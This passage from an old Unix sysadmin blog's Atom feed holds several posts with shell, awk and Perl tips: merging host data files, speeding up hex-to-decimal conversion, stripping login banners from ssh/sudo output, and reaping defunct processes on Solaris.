08:00:00 51     08:00:00 75     08:00:00 80     08:00:00 61
09:00:00 17     09:00:00 12     09:00:00 59     09:00:00 83
&lt;/pre&gt;
&lt;p&gt;
Looks promising. Now, I need to get rid of the redundant timestamp. With &lt;a href="http://en.wikipedia.org/wiki/AWK"&gt;AWK&lt;/a&gt;, we just have to take the even field values.
&lt;pre&gt;
$ &lt;stdin&gt;paste host1.txt host2.txt host3.txt host4.txt | awk '
{
        printf(&amp;quot;%s\t%d&amp;quot;, $1, $2)
        for ( i=4 ; i&amp;lt;=NF ; i+=2 ) {
                printf(&amp;quot;\t%d&amp;quot;,$i)
        }
        printf(&amp;quot;\n&amp;quot;)
}'&lt;/stdin&gt;
01:00:00        56      61      83      50
02:00:00        59      1       96      72
03:00:00        31      33      71      60
04:00:00        54      29      61      36
05:00:00        62      69      25      36
06:00:00        2       72      76      8
07:00:00        69      59      91      89
08:00:00        51      75      80      61
09:00:00        17      12      59      83
&lt;/pre&gt;
&lt;p&gt;
So far so good. Now I want to do that for all the hosts (host*.txt). You can use Bash brace expansion to supply the arguments to &lt;code&gt;paste&lt;/code&gt;
&lt;pre&gt;
$ &lt;stdin&gt;paste host{1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20}.txt&lt;/stdin&gt;
paste: too many files- limit 12
&lt;/pre&gt;
&lt;p&gt;
Ouch! &lt;code&gt;paste&lt;/code&gt; cannot take more than 12 files. Stuck ? What we can do is to do one file at a time within a loop. Since I want the output to be imported to spreadsheet, I will output that as &lt;a href="http://en.wikipedia.org/wiki/Comma-separated_values"&gt;comma separated values (CSV)&lt;/a&gt; file (all_hosts.csv)
&lt;pre&gt;
$ &lt;stdin&gt;tmpfile=&amp;quot;.tmp-$$&amp;quot;&lt;/stdin&gt;

$ &lt;stdin&gt;cp /dev/null all_hosts.csv&lt;/stdin&gt;

$ &lt;stdin&gt;for i in `perl -e '$,=&amp;quot; &amp;quot;;print 1..20'`
do
        f=&amp;quot;host$i.txt&amp;quot;
        paste all_hosts.csv $f &amp;gt; $tmpfile
        mv $tmpfile all_hosts.csv
done&lt;/stdin&gt;
&lt;/pre&gt;
&lt;p&gt;
Now we have all the hosts data in one file. The final step is to remove the redundant timestamp.
&lt;pre&gt;
$ &lt;stdin&gt;awk '
{
        printf(&amp;quot;%s,%d&amp;quot;, $1, $2)
        for ( i=4 ; i&amp;lt;=NF ; i+=2 ) {
                printf(&amp;quot;,%d&amp;quot;,$i)
        }
        printf(&amp;quot;\n&amp;quot;)
}' all_hosts.csv&lt;/stdin&gt;
01:00:00,56,61,83,50,22,6,83,10,6,88,75,61,46,24,33,8,82,90,29,90
02:00:00,59,1,96,72,80,63,5,61,42,90,7,24,78,58,5,85,35,79,0,46
03:00:00,31,33,71,60,99,41,61,92,34,84,61,46,8,1,52,10,21,82,84,69
04:00:00,54,29,61,36,7,85,69,2,26,42,56,82,17,14,93,95,45,76,3,37
05:00:00,62,69,25,36,54,42,81,8,2,94,44,10,44,28,64,68,96,22,9,45
06:00:00,2,72,76,8,96,21,85,35,89,92,93,98,31,99,67,25,77,43,73,9
07:00:00,69,59,91,89,39,72,11,45,90,9,28,15,22,3,66,64,83,46,60,40
08:00:00,51,75,80,61,22,60,61,12,37,66,24,34,92,21,63,99,27,45,40,35
09:00:00,17,12,59,83,32,44,78,91,16,89,97,52,81,52,51,59,78,14,85,49
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-5924418182669993633?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/5924418182669993633/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=5924418182669993633' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5924418182669993633'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/5924418182669993633'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/paste-too-many-files-limit-12-in.html' title='paste: too many files- limit 12, in Solaris'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-4266354247764142999</id><published>2009-04-07T20:40:00.009+08:00</published><updated>2009-04-07T21:25:21.827+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='performance'/><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='Perl'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Think Big</title><content type='html'>Suppose you have some command output consists of hexadecimal that require to be converted to decimal number, likely you will use &lt;code&gt;&lt;a href="http://en.wikipedia.org/wiki/Bc_programming_language"&gt;bc&lt;/a&gt;&lt;/code&gt; to work it out
&lt;pre&gt;
$ &lt;stdin&gt;bc&lt;/stdin&gt;
&lt;stdin&gt;ibase=16&lt;/stdin&gt;
&lt;stdin&gt;ABCDEF&lt;/stdin&gt;
11259375
&lt;stdin&gt;abcdef&lt;/stdin&gt;
syntax error on line 3, teletype
&lt;stdin&gt;0089&lt;/stdin&gt;
137
&lt;stdin&gt;^D&lt;/stdin&gt;
&lt;/pre&gt;
&lt;p&gt;
So if you want to make use of it in shell script, you need to do the following. Bear in mind that &lt;a href="http://en.wikipedia.org/wiki/Bc_programming_language"&gt;bc&lt;/a&gt; only accept uppercase hex number.
&lt;/p&gt;&lt;pre&gt;
$ &lt;stdin&gt;echo "ibase=16; ABCDEF" | bc&lt;/stdin&gt;
11259375

$ &lt;stdin&gt;echo "ibase=16; abcdef" | bc&lt;/stdin&gt;
syntax error on line 1, teletype

$ &lt;stdin&gt;echo "ibase=16; abcdef" | tr '[a-z]' '[A-Z]' | bc&lt;/stdin&gt;
syntax error on line 1, teletype
1123455

$ &lt;stdin&gt;echo "abcdef" | tr '[a-z]' '[A-Z]' | xargs -I{} echo 'ibase=16;{}' | bc&lt;/stdin&gt;
11259375
&lt;/pre&gt;
&lt;p&gt;
This may work fine for small data set. However, if you need to loop through thousands of lines to do hex to dec convert, it becomes a performance problem. Below I am going to show you what are the alternatives.
&lt;p&gt;
Traditional shell script way. You can see how slow it is when we throw it with large data set.
&lt;pre&gt;
$ &lt;stdin&gt;cat hex.input&lt;/stdin&gt;
drive1 0089
drive2 0a2f
drive3 1FFE
drive4 980B
drive5 0011780c

$ &lt;stdin&gt;cat hex2dec-sh.sh&lt;/stdin&gt;
#! /bin/sh


if [ $# -ne 1 ]; then
        echo &amp;quot;Usage: $0 &amp;lt;hex-input&amp;gt;&amp;quot;
        exit 1
fi


cat $1 | while read drive hex
do
        dec=`echo $hex | tr '[a-z]' '[A-Z]' | xargs -I{} echo &amp;quot;ibase=16; {}&amp;quot; | bc`
        echo &amp;quot;Drive=$drive, Hex=$hex, Dec=$dec&amp;quot;
done

$ &lt;stdin&gt;time ./hex2dec-sh.sh hex.input&lt;/stdin&gt;
Drive=drive1, Hex=0089, Dec=137
Drive=drive2, Hex=0a2f, Dec=2607
Drive=drive3, Hex=1FFE, Dec=8190
Drive=drive4, Hex=980B, Dec=38923
Drive=drive5, Hex=0011780c, Dec=1144844

real    0m0.042s
user    0m0.011s
sys     0m0.065s

$ &lt;stdin&gt;for i in `perl -e '$,=" "; print 1..1000'`
do
    cat hex.input
done &amp;gt; hex.big&lt;/stdin&gt;

$ &lt;stdin&gt;wc -l hex.big&lt;/stdin&gt;
    5000 hex.big

$ &lt;stdin&gt;time ./hex2dec-sh.sh hex.big &amp;gt; /dev/null&lt;/stdin&gt;

real    0m32.141s
user    0m9.131s
sys     0m56.458s
&lt;/pre&gt;
&lt;p&gt;
What if I have a few million lines to convert? You will need a lot of coffee breaks. The alternative is to use some high level scripting languages, such as &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt;, &lt;a href="http://www.python.org/"&gt;Python&lt;/a&gt;, &lt;a href="http://www.tcl.tk/"&gt;Tcl&lt;/a&gt;, ... In fact you can crank out your own function in &lt;a href="http://en.wikipedia.org/wiki/AWK"&gt;AWK&lt;/a&gt; to do this kind of thing. Here I will show you a &lt;a href="http://www.perl.org/"&gt;Perl&lt;/a&gt; one-liner and the &lt;a href="http://en.wikipedia.org/wiki/AWK"&gt;AWK&lt;/a&gt; way.
&lt;p&gt;
Perl one-liner:
&lt;pre&gt;
$ &lt;stdin&gt;time perl -ne 'chomp();@l=split(/\s+/);print "Drive=",$l[0]," Hex=",$l[1]," Dec=",hex($l[1]),"\n"' &amp;lt; hex.input&lt;/stdin&gt;
Drive=drive1 Hex=0089 Dec=137
Drive=drive2 Hex=0a2f Dec=2607
Drive=drive3 Hex=1FFE Dec=8190
Drive=drive4 Hex=980B Dec=38923
Drive=drive5 Hex=0011780c Dec=1144844

real    0m0.008s
user    0m0.003s
sys     0m0.005s

$ &lt;stdin&gt;time perl -ne 'chomp();@l=split(/\s+/);print "Drive=",$l[0]," Hex=",$l[1]," Dec=",hex($l[1]),"\n"' &amp;lt; hex.big  &amp;gt; /dev/null&lt;/stdin&gt;

real    0m0.044s
user    0m0.038s
sys     0m0.005s
&lt;/pre&gt;
&lt;p&gt;
AWK way:
&lt;pre&gt;
$ &lt;stdin&gt;cat hex2dec-awk.sh&lt;/stdin&gt;
#! /bin/sh


if [ $# -ne 1 ]; then
        echo "Usage: $0 &amp;lt;hex-input&amp;gt;"
        exit 1
fi


nawk '
function hex2dec(hex, h, i, factor, n, sum) {
        n = length(hex)
        factor = 1
        sum = 0
        for ( i=n ; i&gt;0 ; --i ) {
                h = substr(hex, i, 1)
                if ( h == "a" || h == "A" ) { h=10 }
                if ( h == "b" || h == "B" ) { h=11 }
                if ( h == "b" || h == "B" ) { h=11 }
                if ( h == "c" || h == "C" ) { h=12 }
                if ( h == "d" || h == "D" ) { h=13 }
                if ( h == "e" || h == "E" ) { h=14 }
                if ( h == "f" || h == "F" ) { h=15 }
                sum += factor * h
                factor *= 16
        }
        return sum
}
{
        printf("Drive=%s, Hex=%s, Dec=%s\n", $1, $2, hex2dec($2))
}' $1

$ &lt;stdin&gt;time ./hex2dec-awk.sh hex.input&lt;/stdin&gt;
Drive=drive1, Hex=0089, Dec=137
Drive=drive2, Hex=0a2f, Dec=2607
Drive=drive3, Hex=1FFE, Dec=8190
Drive=drive4, Hex=980B, Dec=38923
Drive=drive5, Hex=0011780c, Dec=1144844

real    0m0.008s
user    0m0.002s
sys     0m0.006s

$ &lt;stdin&gt;time ./hex2dec-awk.sh hex.big &amp;gt; /dev/null 2&amp;gt;&amp;1&lt;/stdin&gt;

real    0m0.100s
user    0m0.093s
sys     0m0.006s
&lt;/pre&gt;
&lt;p&gt;
For 5000 lines, you can reduce it from 32 seconds run time down to sub second. I am sure you can see the performance differences in the 3 implementations. Next time, think big! Bigger data size.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-4266354247764142999?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/4266354247764142999/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=4266354247764142999' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4266354247764142999'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/4266354247764142999'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/hex-to-decimal-performance-issue.html' title='Think Big'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-1829649465195835767</id><published>2009-04-06T20:16:00.005+08:00</published><updated>2009-04-06T20:32:10.635+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='awk'/><category scheme='http://www.blogger.com/atom/ns#' term='shell script'/><title type='text'>Avoiding all the banners</title><content type='html'>Sometime you need to automate your activities by &lt;code&gt;ssh&lt;/code&gt; into a remote host and &lt;code&gt;sudo&lt;/code&gt; to a particular user to execute a command. Although all the authentication has been setup to be passwordless, the output include those extra banners (/etc/motd and /etc/issue) which you normally want to get rid of.
&lt;p&gt;
There is one nice trick that you may want to adopt. By crafting a unique string in your script, you can use that as your marker to separate the banners from your command output. So your &lt;code&gt;ssh&lt;/code&gt; &lt;code&gt;sudo&lt;/code&gt; output can pipe through &lt;code&gt;awk&lt;/code&gt; to separate out unwanted banners.
&lt;p&gt;
&lt;pre&gt;
unique="=-a-b-c-="

ssh chihung@$remote "sudo su - someuser -c 'echo $unique;somecmd'" 2&gt;&amp;1 | \
    awk '/^'$unique'$/ { start=1; next } start==1 { print }'
&lt;/pre&gt;
&lt;p&gt;
Make sure your $unique get substituted in your current shell by enclosing them in double quotes. In this approach, you do not have to worry about how the banners look like and you do not have to do &lt;code&gt;grep -v some-banner-string&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-1829649465195835767?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/1829649465195835767/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=1829649465195835767' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1829649465195835767'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/1829649465195835767'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/avoiding-all-banners.html' title='Avoiding all the banners'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-17206640.post-8662155086091402564</id><published>2009-04-06T20:07:00.005+08:00</published><updated>2009-04-06T20:16:29.327+08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Solaris'/><title type='text'>Killing defunct processes in Solaris 9 and 10</title><content type='html'>Recently I found out that you can "kill" those &amp;lt;defunct&amp;gt; processes in &lt;a href="http://www.sun.com/software/solaris/"&gt;Solaris&lt;/a&gt; 9 and 10. The command is &lt;a href="http://docs.sun.com/app/docs/doc/816-0210/6m6nb7mi1?a=view"&gt;&lt;code&gt;preap&lt;/code&gt;&lt;/a&gt;. You can specify all the &amp;lt;defunct&amp;gt; process IDs in one command line or you can make use of &lt;a href="http://docs.sun.com/app/docs/doc/816-5165/xargs-1?a=view"&gt;&lt;code&gt;xargs&lt;/code&gt;&lt;/a&gt; to construct the argument list on the fly
&lt;p&gt;
&lt;pre&gt;
# &lt;stdin&gt;uname -a&lt;/stdin&gt;
SunOS myhost  5.10 Generic_118833-24 sun4u sparc SUNW,Sun-Fire-V490

# &lt;stdin&gt;ps -ef | grep defunct&lt;/stdin&gt;
  daemon 25694   338   0        - ?           0:00 &amp;lt;defunct&amp;gt;
  daemon  8726   338   0        - ?           0:00 &amp;lt;defunct&amp;gt;
  daemon  8523   338   0        - ?           0:00 &amp;lt;defunct&amp;gt;
  daemon 11023   338   0        - ?           0:00 &amp;lt;defunct&amp;gt;
  daemon 25420   338   0        - ?           0:00 &amp;lt;defunct&amp;gt;
  ...
# &lt;stdin&gt;ps -ef | grep -c defunct&lt;/stdin&gt;
606

# &lt;stdin&gt;ps -ef -o 'pid,comm' | awk '/&amp;lt;defunct&amp;gt;/{print $1}' | xargs preap&lt;/stdin&gt;
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/17206640-8662155086091402564?l=chihungchan.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chihungchan.blogspot.com/feeds/8662155086091402564/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=17206640&amp;postID=8662155086091402564' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8662155086091402564'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/17206640/posts/default/8662155086091402564'/><link rel='alternate' type='text/html' href='http://chihungchan.blogspot.com/2009/04/killing-defunct-processes-in-solaris-9.html' title='Killing defunct processes in Solaris 9 and 10'/><author><name>chihungchan</name><uri>http://www.blogger.com/profile/15538708833524327128</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>
